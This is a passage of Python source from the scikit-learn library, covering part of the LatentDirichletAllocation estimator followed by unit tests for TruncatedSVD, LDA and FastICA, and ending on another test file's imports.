        learning_method = self.learning_method
        batch_size = self.batch_size

        # initialize parameters
        self._init_latent_vars(n_features)
        # change to perplexity later
        last_bound = None
        n_jobs = _get_n_jobs(self.n_jobs)
        with Parallel(n_jobs=n_jobs, verbose=max(0, self.verbose - 1)) as parallel:
            for i in xrange(max_iter):
                if learning_method == 'online':
                    for idx_slice in gen_batches(n_samples, batch_size):
                        self._em_step(X[idx_slice, :], total_samples=n_samples,
                                      batch_update=False, parallel=parallel)
                else:
                    # batch update
                    self._em_step(X, total_samples=n_samples,
                                  batch_update=True, parallel=parallel)

                # check perplexity
                if evaluate_every > 0 and (i + 1) % evaluate_every == 0:
                    doc_topics_distr, _ = self._e_step(X, cal_sstats=False,
                                                       random_init=False,
                                                       parallel=parallel)
                    bound = self.perplexity(X, doc_topics_distr,
                                            sub_sampling=False)
                    if self.verbose:
                        print('iteration: %d, perplexity: %.4f'
                              % (i + 1, bound))

                    if last_bound and abs(last_bound - bound) < self.perp_tol:
                        break
                    last_bound = bound
                self.n_iter_ += 1
        return self

    def transform(self, X):
        """Transform data X according to the fitted model.

        Parameters
        ----------
        X : array-like or sparse matrix, shape=(n_samples, n_features)
            Document word matrix.

        Returns
        -------
        doc_topic_distr : shape=(n_samples, n_topics)
            Document topic distribution for X.
        """

        if not hasattr(self, 'components_'):
            raise NotFittedError("no 'components_' attribute in model."
                                 " Please fit model first.")

        # make sure feature size is the same in fitted model and in X
        X = self._check_non_neg_array(X, "LatentDirichletAllocation.transform")
        n_samples, n_features = X.shape
        if n_features != self.components_.shape[1]:
            raise ValueError(
                "The provided data has %d dimensions while "
                "the model was trained with feature size %d." %
                (n_features, self.components_.shape[1]))

        doc_topic_distr, _ = self._e_step(X, cal_sstats=False,
                                          random_init=False)
        # normalize doc_topic_distr
        doc_topic_distr /= doc_topic_distr.sum(axis=1)[:, np.newaxis]
        return doc_topic_distr

    def _approx_bound(self, X, doc_topic_distr, sub_sampling):
        """Estimate the variational bound.

        Estimate the variational bound over "all documents" using only the
        documents passed in as X. Since log-likelihood of each word cannot
        be computed directly, we use this bound to estimate it.

        Parameters
        ----------
        X : array-like or sparse matrix, shape=(n_samples, n_features)
            Document word matrix.

        doc_topic_distr : array, shape=(n_samples, n_topics)
            Document topic distribution. In the literature, this is called
            gamma.

        sub_sampling : boolean, optional, (default=False)
            Compensate for subsampling of documents.
            It is used in calculate bound in online learning.

        Returns
        -------
        score : float

        """

        def _loglikelihood(prior, distr, dirichlet_distr, size):
            # calculate log-likelihood
            score = np.sum((prior - distr) * dirichlet_distr)
            score += np.sum(gammaln(distr) - gammaln(prior))
            score += np.sum(gammaln(prior * size) - gammaln(np.sum(distr, 1)))
            return score

        is_sparse_x = sp.issparse(X)
        n_samples, n_topics = doc_topic_distr.shape
        n_features = self.components_.shape[1]
        score = 0

        dirichlet_doc_topic = _dirichlet_expectation_2d(doc_topic_distr)
        dirichlet_component_ = _dirichlet_expectation_2d(self.components_)
        doc_topic_prior = self.doc_topic_prior_
        topic_word_prior = self.topic_word_prior_

        if is_sparse_x:
            X_data = X.data
            X_indices = X.indices
            X_indptr = X.indptr

        # E[log p(docs | theta, beta)]
        for idx_d in xrange(0, n_samples):
            if is_sparse_x:
                ids = X_indices[X_indptr[idx_d]:X_indptr[idx_d + 1]]
                cnts = X_data[X_indptr[idx_d]:X_indptr[idx_d + 1]]
            else:
                ids = np.nonzero(X[idx_d, :])[0]
                cnts = X[idx_d, ids]
            temp = (dirichlet_doc_topic[idx_d, :, np.newaxis]
                    + dirichlet_component_[:, ids])
            norm_phi = logsumexp(temp)
            score += np.dot(cnts, norm_phi)

        # compute E[log p(theta | alpha) - log q(theta | gamma)]
        score += _loglikelihood(doc_topic_prior, doc_topic_distr,
                                dirichlet_doc_topic, self.n_topics)

        # Compensate for the subsampling of the population of documents
        if sub_sampling:
            doc_ratio = float(self.total_samples) / n_samples
            score *= doc_ratio

        # E[log p(beta | eta) - log q (beta | lambda)]
        score += _loglikelihood(topic_word_prior, self.components_,
                                dirichlet_component_, n_features)

        return score

    def score(self, X, y=None):
        """Calculate approximate log-likelihood as score.

        Parameters
        ----------
        X : array-like or sparse matrix, shape=(n_samples, n_features)
            Document word matrix.

        Returns
        -------
        score : float
            Use approximate bound as score.
        """

        X = self._check_non_neg_array(X, "LatentDirichletAllocation.score")

        doc_topic_distr = self.transform(X)
        score = self._approx_bound(X, doc_topic_distr, sub_sampling=False)
        return score

    def perplexity(self, X, doc_topic_distr=None, sub_sampling=False):
        """Calculate approximate perplexity for data X.

        Perplexity is defined as exp(-1. * log-likelihood per word)

        Parameters
        ----------
        X : array-like or sparse matrix, [n_samples, n_features]
            Document word matrix.

        doc_topic_distr : None or array, shape=(n_samples, n_topics)
            Document topic distribution.
            If it is None, it will be generated by applying transform on X.

        Returns
        -------
        score : float
            Perplexity score.
        """
        if not hasattr(self, 'components_'):
            raise NotFittedError("no 'components_' attribute in model."
                                 " Please fit model first.")

        X = self._check_non_neg_array(X,
                                      "LatentDirichletAllocation.perplexity")

        if doc_topic_distr is None:
            doc_topic_distr = self.transform(X)
        else:
            n_samples, n_topics = doc_topic_distr.shape
            if n_samples != X.shape[0]:
                raise ValueError("Number of samples in X and doc_topic_distr"
                                 " do not match.")

            if n_topics != self.n_topics:
                raise ValueError("Number of topics does not match.")

        current_samples = X.shape[0]
        bound = self._approx_bound(X, doc_topic_distr, sub_sampling)

        if sub_sampling:
            word_cnt = X.sum() * (float(self.total_samples) / current_samples)
        else:
            word_cnt = X.sum()
        perword_bound = bound / word_cnt

        return np.exp(-1.0 * perword_bound)






"""Test truncated SVD transformer."""

import numpy as np
import scipy.sparse as sp

from sklearn.decomposition import TruncatedSVD
from sklearn.utils import check_random_state
from sklearn.utils.testing import (assert_array_almost_equal, assert_equal,
                                   assert_raises, assert_greater,
                                   assert_array_less)


# Make an X that looks somewhat like a small tf-idf matrix.
# XXX newer versions of SciPy have scipy.sparse.rand for this.
shape = 60, 55
n_samples, n_features = shape
rng = check_random_state(42)
X = rng.randint(-100, 20, np.product(shape)).reshape(shape)
X = sp.csr_matrix(np.maximum(X, 0), dtype=np.float64)
X.data[:] = 1 + np.log(X.data)
Xdense = X.A


def test_algorithms():
    svd_a = TruncatedSVD(30, algorithm="arpack")
    svd_r = TruncatedSVD(30, algorithm="randomized", random_state=42)

    Xa = svd_a.fit_transform(X)[:, :6]
    Xr = svd_r.fit_transform(X)[:, :6]
    assert_array_almost_equal(Xa, Xr, decimal=5)

    comp_a = np.abs(svd_a.components_)
    comp_r = np.abs(svd_r.components_)
    # All elements are equal, but some elements are more equal than others.
    assert_array_almost_equal(comp_a[:9], comp_r[:9])
    assert_array_almost_equal(comp_a[9:], comp_r[9:], decimal=2)


def test_attributes():
    for n_components in (10, 25, 41):
        tsvd = TruncatedSVD(n_components).fit(X)
        assert_equal(tsvd.n_components, n_components)
        assert_equal(tsvd.components_.shape, (n_components, n_features))


def test_too_many_components():
    for algorithm in ["arpack", "randomized"]:
        for n_components in (n_features, n_features + 1):
            tsvd = TruncatedSVD(n_components=n_components, algorithm=algorithm)
            assert_raises(ValueError, tsvd.fit, X)


def test_sparse_formats():
    for fmt in ("array", "csr", "csc", "coo", "lil"):
        Xfmt = Xdense if fmt == "dense" else getattr(X, "to" + fmt)()
        tsvd = TruncatedSVD(n_components=11)
        Xtrans = tsvd.fit_transform(Xfmt)
        assert_equal(Xtrans.shape, (n_samples, 11))
        Xtrans = tsvd.transform(Xfmt)
        assert_equal(Xtrans.shape, (n_samples, 11))


def test_inverse_transform():
    for algo in ("arpack", "randomized"):
        # We need a lot of components for the reconstruction to be "almost
        # equal" in all positions. XXX Test means or sums instead?
        tsvd = TruncatedSVD(n_components=52, random_state=42)
        Xt = tsvd.fit_transform(X)
        Xinv = tsvd.inverse_transform(Xt)
        assert_array_almost_equal(Xinv, Xdense, decimal=1)


def test_integers():
    Xint = X.astype(np.int64)
    tsvd = TruncatedSVD(n_components=6)
    Xtrans = tsvd.fit_transform(Xint)
    assert_equal(Xtrans.shape, (n_samples, tsvd.n_components))


def test_explained_variance():
    # Test sparse data
    svd_a_10_sp = TruncatedSVD(10, algorithm="arpack")
    svd_r_10_sp = TruncatedSVD(10, algorithm="randomized", random_state=42)
    svd_a_20_sp = TruncatedSVD(20, algorithm="arpack")
    svd_r_20_sp = TruncatedSVD(20, algorithm="randomized", random_state=42)
    X_trans_a_10_sp = svd_a_10_sp.fit_transform(X)
    X_trans_r_10_sp = svd_r_10_sp.fit_transform(X)
    X_trans_a_20_sp = svd_a_20_sp.fit_transform(X)
    X_trans_r_20_sp = svd_r_20_sp.fit_transform(X)

    # Test dense data
    svd_a_10_de = TruncatedSVD(10, algorithm="arpack")
    svd_r_10_de = TruncatedSVD(10, algorithm="randomized", random_state=42)
    svd_a_20_de = TruncatedSVD(20, algorithm="arpack")
    svd_r_20_de = TruncatedSVD(20, algorithm="randomized", random_state=42)
    X_trans_a_10_de = svd_a_10_de.fit_transform(X.toarray())
    X_trans_r_10_de = svd_r_10_de.fit_transform(X.toarray())
    X_trans_a_20_de = svd_a_20_de.fit_transform(X.toarray())
    X_trans_r_20_de = svd_r_20_de.fit_transform(X.toarray())

    # helper arrays for tests below
    svds = (svd_a_10_sp, svd_r_10_sp, svd_a_20_sp, svd_r_20_sp, svd_a_10_de,
            svd_r_10_de, svd_a_20_de, svd_r_20_de)
    svds_trans = (
        (svd_a_10_sp, X_trans_a_10_sp),
        (svd_r_10_sp, X_trans_r_10_sp),
        (svd_a_20_sp, X_trans_a_20_sp),
        (svd_r_20_sp, X_trans_r_20_sp),
        (svd_a_10_de, X_trans_a_10_de),
        (svd_r_10_de, X_trans_r_10_de),
        (svd_a_20_de, X_trans_a_20_de),
        (svd_r_20_de, X_trans_r_20_de),
    )
    svds_10_v_20 = (
        (svd_a_10_sp, svd_a_20_sp),
        (svd_r_10_sp, svd_r_20_sp),
        (svd_a_10_de, svd_a_20_de),
        (svd_r_10_de, svd_r_20_de),
    )
    svds_sparse_v_dense = (
        (svd_a_10_sp, svd_a_10_de),
        (svd_a_20_sp, svd_a_20_de),
        (svd_r_10_sp, svd_r_10_de),
        (svd_r_20_sp, svd_r_20_de),
    )

    # Assert the 1st component is equal
    for svd_10, svd_20 in svds_10_v_20:
        assert_array_almost_equal(
            svd_10.explained_variance_ratio_,
            svd_20.explained_variance_ratio_[:10],
            decimal=5,
        )

    # Assert that 20 components has higher explained variance than 10
    for svd_10, svd_20 in svds_10_v_20:
        assert_greater(
            svd_20.explained_variance_ratio_.sum(),
            svd_10.explained_variance_ratio_.sum(),
        )

    # Assert that all the values are greater than 0
    for svd in svds:
        assert_array_less(0.0, svd.explained_variance_ratio_)

    # Assert that total explained variance is less than 1
    for svd in svds:
        assert_array_less(svd.explained_variance_ratio_.sum(), 1.0)

    # Compare sparse vs. dense
    for svd_sparse, svd_dense in svds_sparse_v_dense:
        assert_array_almost_equal(svd_sparse.explained_variance_ratio_,
                                  svd_dense.explained_variance_ratio_)

    # Test that explained_variance is correct
    for svd, transformed in svds_trans:
        total_variance = np.var(X.toarray(), axis=0).sum()
        variances = np.var(transformed, axis=0)
        true_explained_variance_ratio = variances / total_variance

        assert_array_almost_equal(
            svd.explained_variance_ratio_,
            true_explained_variance_ratio,
        )






import numpy as np
from scipy.linalg import block_diag
from scipy.sparse import csr_matrix
from scipy.special import psi

from sklearn.decomposition import LatentDirichletAllocation
from sklearn.decomposition._online_lda import (_dirichlet_expectation_1d,
                                               _dirichlet_expectation_2d)

from sklearn.utils.testing import assert_allclose
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_greater_equal
from sklearn.utils.testing import assert_raises_regexp
from sklearn.utils.testing import if_safe_multiprocessing_with_blas

from sklearn.exceptions import NotFittedError
from sklearn.externals.six.moves import xrange


def _build_sparse_mtx():
    # Create 3 topics and each topic has 3 distinct words.
    # (Each word only belongs to a single topic.)
    n_topics = 3
    block = n_topics * np.ones((3, 3))
    blocks = [block] * n_topics
    X = block_diag(*blocks)
    X = csr_matrix(X)
    return (n_topics, X)


def test_lda_default_prior_params():
    # default prior parameter should be `1 / topics`
    # and verbose params should not affect result
    n_topics, X = _build_sparse_mtx()
    prior = 1. / n_topics
    lda_1 = LatentDirichletAllocation(n_topics=n_topics, doc_topic_prior=prior,
                                      topic_word_prior=prior, random_state=0)
    lda_2 = LatentDirichletAllocation(n_topics=n_topics, random_state=0)

    topic_distr_1 = lda_1.fit_transform(X)
    topic_distr_2 = lda_2.fit_transform(X)
    assert_almost_equal(topic_distr_1, topic_distr_2)


def test_lda_fit_batch():
    # Test LDA batch learning_offset (`fit` method with 'batch' learning)
    rng = np.random.RandomState(0)
    n_topics, X = _build_sparse_mtx()
    lda = LatentDirichletAllocation(n_topics=n_topics, evaluate_every=1,
                                    learning_method='batch', random_state=rng)
    lda.fit(X)

    correct_idx_grps = [(0, 1, 2), (3, 4, 5), (6, 7, 8)]
    for component in lda.components_:
        # Find top 3 words in each LDA component
        top_idx = set(component.argsort()[-3:][::-1])
        assert_true(tuple(sorted(top_idx)) in correct_idx_grps)


def test_lda_fit_online():
    # Test LDA online learning (`fit` method with 'online' learning)
    rng = np.random.RandomState(0)
    n_topics, X = _build_sparse_mtx()
    lda = LatentDirichletAllocation(n_topics=n_topics, learning_offset=10.,
                                    evaluate_every=1, learning_method='online',
                                    random_state=rng)
    lda.fit(X)

    correct_idx_grps = [(0, 1, 2), (3, 4, 5), (6, 7, 8)]
    for component in lda.components_:
        # Find top 3 words in each LDA component
        top_idx = set(component.argsort()[-3:][::-1])
        assert_true(tuple(sorted(top_idx)) in correct_idx_grps)


def test_lda_partial_fit():
    # Test LDA online learning (`partial_fit` method)
    # (same as test_lda_batch)
    rng = np.random.RandomState(0)
    n_topics, X = _build_sparse_mtx()
    lda = LatentDirichletAllocation(n_topics=n_topics, learning_offset=10.,
                                    total_samples=100, random_state=rng)
    for i in xrange(3):
        lda.partial_fit(X)

    correct_idx_grps = [(0, 1, 2), (3, 4, 5), (6, 7, 8)]
    for c in lda.components_:
        top_idx = set(c.argsort()[-3:][::-1])
        assert_true(tuple(sorted(top_idx)) in correct_idx_grps)


def test_lda_dense_input():
    # Test LDA with dense input.
    rng = np.random.RandomState(0)
    n_topics, X = _build_sparse_mtx()
    lda = LatentDirichletAllocation(n_topics=n_topics, learning_method='batch',
                                    random_state=rng)
    lda.fit(X.toarray())

    correct_idx_grps = [(0, 1, 2), (3, 4, 5), (6, 7, 8)]
    for component in lda.components_:
        # Find top 3 words in each LDA component
        top_idx = set(component.argsort()[-3:][::-1])
        assert_true(tuple(sorted(top_idx)) in correct_idx_grps)


def test_lda_transform():
    # Test LDA transform.
    # Transform result cannot be negative and should be normalized
    rng = np.random.RandomState(0)
    X = rng.randint(5, size=(20, 10))
    n_topics = 3
    lda = LatentDirichletAllocation(n_topics=n_topics, random_state=rng)
    X_trans = lda.fit_transform(X)
    assert_true((X_trans > 0.0).any())
    assert_array_almost_equal(np.sum(X_trans, axis=1), np.ones(X_trans.shape[0]))


def test_lda_fit_transform():
    # Test LDA fit_transform & transform
    # fit_transform and transform result should be the same
    for method in ('online', 'batch'):
        rng = np.random.RandomState(0)
        X = rng.randint(10, size=(50, 20))
        lda = LatentDirichletAllocation(n_topics=5, learning_method=method,
                                        random_state=rng)
        X_fit = lda.fit_transform(X)
        X_trans = lda.transform(X)
        assert_array_almost_equal(X_fit, X_trans, 4)


def test_lda_partial_fit_dim_mismatch():
    # test `n_features` mismatch in `partial_fit`
    rng = np.random.RandomState(0)
    n_topics = rng.randint(3, 6)
    n_col = rng.randint(6, 10)
    X_1 = np.random.randint(4, size=(10, n_col))
    X_2 = np.random.randint(4, size=(10, n_col + 1))
    lda = LatentDirichletAllocation(n_topics=n_topics, learning_offset=5.,
                                    total_samples=20, random_state=rng)
    lda.partial_fit(X_1)
    assert_raises_regexp(ValueError, r"^The provided data has",
                         lda.partial_fit, X_2)


def test_invalid_params():
    # test `_check_params` method
    X = np.ones((5, 10))

    invalid_models = (
        ('n_topics', LatentDirichletAllocation(n_topics=0)),
        ('learning_method',
         LatentDirichletAllocation(learning_method='unknown')),
        ('total_samples', LatentDirichletAllocation(total_samples=0)),
        ('learning_offset', LatentDirichletAllocation(learning_offset=-1)),
    )
    for param, model in invalid_models:
        regex = r"^Invalid %r parameter" % param
        assert_raises_regexp(ValueError, regex, model.fit, X)


def test_lda_negative_input():
    # test pass dense matrix with sparse negative input.
    X = -np.ones((5, 10))
    lda = LatentDirichletAllocation()
    regex = r"^Negative values in data passed"
    assert_raises_regexp(ValueError, regex, lda.fit, X)


def test_lda_no_component_error():
    # test `transform` and `perplexity` before `fit`
    rng = np.random.RandomState(0)
    X = rng.randint(4, size=(20, 10))
    lda = LatentDirichletAllocation()
    regex = r"^no 'components_' attribute"
    assert_raises_regexp(NotFittedError, regex, lda.transform, X)
    assert_raises_regexp(NotFittedError, regex, lda.perplexity, X)


def test_lda_transform_mismatch():
    # test `n_features` mismatch in partial_fit and transform
    rng = np.random.RandomState(0)
    X = rng.randint(4, size=(20, 10))
    X_2 = rng.randint(4, size=(10, 8))

    n_topics = rng.randint(3, 6)
    lda = LatentDirichletAllocation(n_topics=n_topics, random_state=rng)
    lda.partial_fit(X)
    assert_raises_regexp(ValueError, r"^The provided data has",
                         lda.partial_fit, X_2)


@if_safe_multiprocessing_with_blas
def test_lda_multi_jobs():
    n_topics, X = _build_sparse_mtx()
    # Test LDA batch training with multi CPU
    for method in ('online', 'batch'):
        rng = np.random.RandomState(0)
        lda = LatentDirichletAllocation(n_topics=n_topics, n_jobs=2,
                                        learning_method=method,
                                        evaluate_every=1,
                                        random_state=rng)
        lda.fit(X)

        correct_idx_grps = [(0, 1, 2), (3, 4, 5), (6, 7, 8)]
        for c in lda.components_:
            top_idx = set(c.argsort()[-3:][::-1])
            assert_true(tuple(sorted(top_idx)) in correct_idx_grps)


@if_safe_multiprocessing_with_blas
def test_lda_partial_fit_multi_jobs():
    # Test LDA online training with multi CPU
    rng = np.random.RandomState(0)
    n_topics, X = _build_sparse_mtx()
    lda = LatentDirichletAllocation(n_topics=n_topics, n_jobs=2,
                                    learning_offset=5., total_samples=30,
                                    random_state=rng)
    for i in range(2):
        lda.partial_fit(X)

    correct_idx_grps = [(0, 1, 2), (3, 4, 5), (6, 7, 8)]
    for c in lda.components_:
        top_idx = set(c.argsort()[-3:][::-1])
        assert_true(tuple(sorted(top_idx)) in correct_idx_grps)


def test_lda_preplexity_mismatch():
    # test dimension mismatch in `perplexity` method
    rng = np.random.RandomState(0)
    n_topics = rng.randint(3, 6)
    n_samples = rng.randint(6, 10)
    X = np.random.randint(4, size=(n_samples, 10))
    lda = LatentDirichletAllocation(n_topics=n_topics, learning_offset=5.,
                                    total_samples=20, random_state=rng)
    lda.fit(X)
    # invalid samples
    invalid_n_samples = rng.randint(4, size=(n_samples + 1, n_topics))
    assert_raises_regexp(ValueError, r'Number of samples', lda.perplexity, X,
                         invalid_n_samples)
    # invalid topic number
    invalid_n_topics = rng.randint(4, size=(n_samples, n_topics + 1))
    assert_raises_regexp(ValueError, r'Number of topics', lda.perplexity, X,
                         invalid_n_topics)


def test_lda_perplexity():
    # Test LDA perplexity for batch training
    # perplexity should be lower after each iteration
    n_topics, X = _build_sparse_mtx()
    for method in ('online', 'batch'):
        lda_1 = LatentDirichletAllocation(n_topics=n_topics, max_iter=1,
                                          learning_method=method,
                                          total_samples=100, random_state=0)
        lda_2 = LatentDirichletAllocation(n_topics=n_topics, max_iter=10,
                                          learning_method=method,
                                          total_samples=100, random_state=0)
        distr_1 = lda_1.fit_transform(X)
        perp_1 = lda_1.perplexity(X, distr_1, sub_sampling=False)

        distr_2 = lda_2.fit_transform(X)
        perp_2 = lda_2.perplexity(X, distr_2, sub_sampling=False)
        assert_greater_equal(perp_1, perp_2)

        perp_1_subsampling = lda_1.perplexity(X, distr_1, sub_sampling=True)
        perp_2_subsampling = lda_2.perplexity(X, distr_2, sub_sampling=True)
        assert_greater_equal(perp_1_subsampling, perp_2_subsampling)


def test_lda_score():
    # Test LDA score for batch training
    # score should be higher after each iteration
    n_topics, X = _build_sparse_mtx()
    for method in ('online', 'batch'):
        lda_1 = LatentDirichletAllocation(n_topics=n_topics, max_iter=1,
                                          learning_method=method,
                                          total_samples=100, random_state=0)
        lda_2 = LatentDirichletAllocation(n_topics=n_topics, max_iter=10,
                                          learning_method=method,
                                          total_samples=100, random_state=0)
        lda_1.fit_transform(X)
        score_1 = lda_1.score(X)

        lda_2.fit_transform(X)
        score_2 = lda_2.score(X)
        assert_greater_equal(score_2, score_1)


def test_perplexity_input_format():
    # Test LDA perplexity for sparse and dense input
    # score should be the same for both dense and sparse input
    n_topics, X = _build_sparse_mtx()
    lda = LatentDirichletAllocation(n_topics=n_topics, max_iter=1,
                                    learning_method='batch',
                                    total_samples=100, random_state=0)
    distr = lda.fit_transform(X)
    perp_1 = lda.perplexity(X)
    perp_2 = lda.perplexity(X, distr)
    perp_3 = lda.perplexity(X.toarray(), distr)
    assert_almost_equal(perp_1, perp_2)
    assert_almost_equal(perp_1, perp_3)


def test_lda_score_perplexity():
    # Test the relationship between LDA score and perplexity
    n_topics, X = _build_sparse_mtx()
    lda = LatentDirichletAllocation(n_topics=n_topics, max_iter=10,
                                    random_state=0)
    distr = lda.fit_transform(X)
    perplexity_1 = lda.perplexity(X, distr, sub_sampling=False)

    score = lda.score(X)
    perplexity_2 = np.exp(-1. * (score / np.sum(X.data)))
    assert_almost_equal(perplexity_1, perplexity_2)


def test_lda_empty_docs():
    """Test LDA on empty document (all-zero rows)."""
    Z = np.zeros((5, 4))
    for X in [Z, csr_matrix(Z)]:
        lda = LatentDirichletAllocation(max_iter=750).fit(X)
        assert_almost_equal(lda.components_.sum(axis=0),
                            np.ones(lda.components_.shape[1]))


def test_dirichlet_expectation():
    """Test Cython version of Dirichlet expectation calculation."""
    x = np.logspace(-100, 10, 10000)
    expectation = np.empty_like(x)
    _dirichlet_expectation_1d(x, 0, expectation)
    assert_allclose(expectation, np.exp(psi(x) - psi(np.sum(x))),
                    atol=1e-19)

    x = x.reshape(100, 100)
    assert_allclose(_dirichlet_expectation_2d(x),
                    psi(x) - psi(np.sum(x, axis=1)[:, np.newaxis]),
                    rtol=1e-11, atol=3e-9)






"""
Test the fastica algorithm.
"""
import itertools
import warnings

import numpy as np
from scipy import stats

from nose.tools import assert_raises

from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_warns

from sklearn.decomposition import FastICA, fastica, PCA
from sklearn.decomposition.fastica_ import _gs_decorrelation
from sklearn.externals.six import moves


def center_and_norm(x, axis=-1):
    """ Centers and norms x **in place**

        Parameters
        -----------
        x: ndarray
            Array with an axis of observations (statistical units) measured on
            random variables.
        axis: int, optional
            Axis along which the mean and variance are calculated.
    """
    x = np.rollaxis(x, axis)
    x -= x.mean(axis=0)
    x /= x.std(axis=0)


def test_gs():
    # Test gram schmidt orthonormalization
    # generate a random orthogonal  matrix
    rng = np.random.RandomState(0)
    W, _, _ = np.linalg.svd(rng.randn(10, 10))
    w = rng.randn(10)
    _gs_decorrelation(w, W, 10)
    assert_less((w ** 2).sum(), 1.e-10)
    w = rng.randn(10)
    u = _gs_decorrelation(w, W, 5)
    tmp = np.dot(u, W.T)
    assert_less((tmp[:5] ** 2).sum(), 1.e-10)


def test_fastica_simple(add_noise=False):
    # Test the FastICA algorithm on very simple data.
    rng = np.random.RandomState(0)
    # scipy.stats uses the global RNG:
    np.random.seed(0)
    n_samples = 1000
    # Generate two sources:
    s1 = (2 * np.sin(np.linspace(0, 100, n_samples)) > 0) - 1
    s2 = stats.t.rvs(1, size=n_samples)
    s = np.c_[s1, s2].T
    center_and_norm(s)
    s1, s2 = s

    # Mixing angle
    phi = 0.6
    mixing = np.array([[np.cos(phi), np.sin(phi)],
                       [np.sin(phi), -np.cos(phi)]])
    m = np.dot(mixing, s)

    if add_noise:
        m += 0.1 * rng.randn(2, 1000)

    center_and_norm(m)

    # function as fun arg
    def g_test(x):
        return x ** 3, (3 * x ** 2).mean(axis=-1)

    algos = ['parallel', 'deflation']
    nls = ['logcosh', 'exp', 'cube', g_test]
    whitening = [True, False]
    for algo, nl, whiten in itertools.product(algos, nls, whitening):
        if whiten:
            k_, mixing_, s_ = fastica(m.T, fun=nl, algorithm=algo)
            assert_raises(ValueError, fastica, m.T, fun=np.tanh,
                          algorithm=algo)
        else:
            X = PCA(n_components=2, whiten=True).fit_transform(m.T)
            k_, mixing_, s_ = fastica(X, fun=nl, algorithm=algo, whiten=False)
            assert_raises(ValueError, fastica, X, fun=np.tanh,
                          algorithm=algo)
        s_ = s_.T
        # Check that the mixing model described in the docstring holds:
        if whiten:
            assert_almost_equal(s_, np.dot(np.dot(mixing_, k_), m))

        center_and_norm(s_)
        s1_, s2_ = s_
        # Check to see if the sources have been estimated
        # in the wrong order
        if abs(np.dot(s1_, s2)) > abs(np.dot(s1_, s1)):
            s2_, s1_ = s_
        s1_ *= np.sign(np.dot(s1_, s1))
        s2_ *= np.sign(np.dot(s2_, s2))

        # Check that we have estimated the original sources
        if not add_noise:
            assert_almost_equal(np.dot(s1_, s1) / n_samples, 1, decimal=2)
            assert_almost_equal(np.dot(s2_, s2) / n_samples, 1, decimal=2)
        else:
            assert_almost_equal(np.dot(s1_, s1) / n_samples, 1, decimal=1)
            assert_almost_equal(np.dot(s2_, s2) / n_samples, 1, decimal=1)

    # Test FastICA class
    _, _, sources_fun = fastica(m.T, fun=nl, algorithm=algo, random_state=0)
    ica = FastICA(fun=nl, algorithm=algo, random_state=0)
    sources = ica.fit_transform(m.T)
    assert_equal(ica.components_.shape, (2, 2))
    assert_equal(sources.shape, (1000, 2))

    assert_array_almost_equal(sources_fun, sources)
    assert_array_almost_equal(sources, ica.transform(m.T))

    assert_equal(ica.mixing_.shape, (2, 2))

    for fn in [np.tanh, "exp(-.5(x^2))"]:
        ica = FastICA(fun=fn, algorithm=algo, random_state=0)
        assert_raises(ValueError, ica.fit, m.T)

    assert_raises(TypeError, FastICA(fun=moves.xrange(10)).fit, m.T)


def test_fastica_nowhiten():
    m = [[0, 1], [1, 0]]

    # test for issue #697
    ica = FastICA(n_components=1, whiten=False, random_state=0)
    assert_warns(UserWarning, ica.fit, m)
    assert_true(hasattr(ica, 'mixing_'))


def test_non_square_fastica(add_noise=False):
    # Test the FastICA algorithm on very simple data.
    rng = np.random.RandomState(0)

    n_samples = 1000
    # Generate two sources:
    t = np.linspace(0, 100, n_samples)
    s1 = np.sin(t)
    s2 = np.ceil(np.sin(np.pi * t))
    s = np.c_[s1, s2].T
    center_and_norm(s)
    s1, s2 = s

    # Mixing matrix
    mixing = rng.randn(6, 2)
    m = np.dot(mixing, s)

    if add_noise:
        m += 0.1 * rng.randn(6, n_samples)

    center_and_norm(m)

    k_, mixing_, s_ = fastica(m.T, n_components=2, random_state=rng)
    s_ = s_.T

    # Check that the mixing model described in the docstring holds:
    assert_almost_equal(s_, np.dot(np.dot(mixing_, k_), m))

    center_and_norm(s_)
    s1_, s2_ = s_
    # Check to see if the sources have been estimated
    # in the wrong order
    if abs(np.dot(s1_, s2)) > abs(np.dot(s1_, s1)):
        s2_, s1_ = s_
    s1_ *= np.sign(np.dot(s1_, s1))
    s2_ *= np.sign(np.dot(s2_, s2))

    # Check that we have estimated the original sources
    if not add_noise:
        assert_almost_equal(np.dot(s1_, s1) / n_samples, 1, decimal=3)
        assert_almost_equal(np.dot(s2_, s2) / n_samples, 1, decimal=3)


def test_fit_transform():
    # Test FastICA.fit_transform
    rng = np.random.RandomState(0)
    X = rng.random_sample((100, 10))
    for whiten, n_components in [[True, 5], [False, None]]:
        n_components_ = (n_components if n_components is not None else
                         X.shape[1])

        ica = FastICA(n_components=n_components, whiten=whiten, random_state=0)
        Xt = ica.fit_transform(X)
        assert_equal(ica.components_.shape, (n_components_, 10))
        assert_equal(Xt.shape, (100, n_components_))

        ica = FastICA(n_components=n_components, whiten=whiten, random_state=0)
        ica.fit(X)
        assert_equal(ica.components_.shape, (n_components_, 10))
        Xt2 = ica.transform(X)

        assert_array_almost_equal(Xt, Xt2)


def test_inverse_transform():
    # Test FastICA.inverse_transform
    n_features = 10
    n_samples = 100
    n1, n2 = 5, 10
    rng = np.random.RandomState(0)
    X = rng.random_sample((n_samples, n_features))
    expected = {(True, n1): (n_features, n1),
                (True, n2): (n_features, n2),
                (False, n1): (n_features, n2),
                (False, n2): (n_features, n2)}
    for whiten in [True, False]:
        for n_components in [n1, n2]:
            n_components_ = (n_components if n_components is not None else
                             X.shape[1])
            ica = FastICA(n_components=n_components, random_state=rng,
                          whiten=whiten)
            with warnings.catch_warnings(record=True):
                # catch "n_components ignored" warning
                Xt = ica.fit_transform(X)
            expected_shape = expected[(whiten, n_components_)]
            assert_equal(ica.mixing_.shape, expected_shape)
            X2 = ica.inverse_transform(Xt)
            assert_equal(X.shape, X2.shape)

            # reversibility test in non-reduction case
            if n_components == X.shape[1]:
                assert_array_almost_equal(X, X2)






import numpy as np
from itertools import product

from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_no_warnings
from sklearn.utils.testing import assert_warns_message
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.testing import assert_less

from sklearn import datasets
